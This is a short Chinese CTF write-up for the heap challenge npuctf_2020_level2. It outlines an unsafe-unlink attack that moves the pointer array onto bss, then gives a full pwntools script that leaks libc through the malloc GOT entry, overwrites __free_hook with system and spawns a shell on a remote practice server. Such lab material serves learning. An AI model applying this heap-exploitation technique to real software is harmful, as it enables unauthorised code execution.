寒假训练 npuctf_2020_level2(9/250)将heap分配到bss上,从而满足程序条件

一开始忘记注意bss段上的heap与key1和key2的偏移了，所以有点蒙蔽不知道怎么写，然后看了pwnki师傅博客的一点提醒，恍然大悟

思路

1. 通过unlink把指针的值分配到bss段上，从而控制heap里的指针值，在然后将key2和key1修改值，为自己可用
2. 接着劫持free_hook即可getshell

exp

from pwn import *

#p=process('./ciscn_s_1')
p=remote('node3.buuoj.cn',29220)
elf=ELF('./ciscn_s_1')
libc=ELF('../libc-2.27.so')
context.log_level='debug'
def add(idx,size,content):
    p.sendafter('4.show',str(1))
    p.sendafter('index:',str(idx))
    p.sendafter('size:',str(size))
    p.sendafter('content:',content)
 
def free(idx):
    p.sendafter('4.show',str(2))
    p.sendafter('index:',str(idx))
 
def edit(idx,content):
    p.sendafter('4.show',str(3))
    p.sendafter('index:',str(idx))
    p.sendafter('content:',content)

def show(idx):
    p.recvuntil('show')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(idx))


heap=0x6020E0
#0x6022B8
for i in range(1,8):
    add(i,0xf8,'pppp')

add(32,0xf8,'pppp')
add(9,0xf8,'pppp')
add(31,0x80,'pppp')
add(30,0x80,'pppp')
for i in range(1,8):
    free(i)

edit(32,(p64(0)+p64(0xf1)+p64(heap+32*8-0x18)+p64(heap+32*8-0x10)).ljust(0xf0,b'x00')+p64(0xf0))
free(9)

edit(32,(p64(elf.got['malloc'])+p64(heap+29*8)+p64(heap+29*8)+p64(heap+29*8)).ljust(0xf0,b'x00')+p32(999)+p32(999))
show(29)
libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-libc.symbols['malloc']
free_hook=libc.symbols['__free_hook']
system=libc.symbols['system']
print(hex(libc.address))
print(hex(free_hook))
edit(32,p64(free_hook)*4)
edit(32,p64(system))
add(15,0x80,'/bin/sh')
free(15)
#gdb.attach(p)
p.interactive()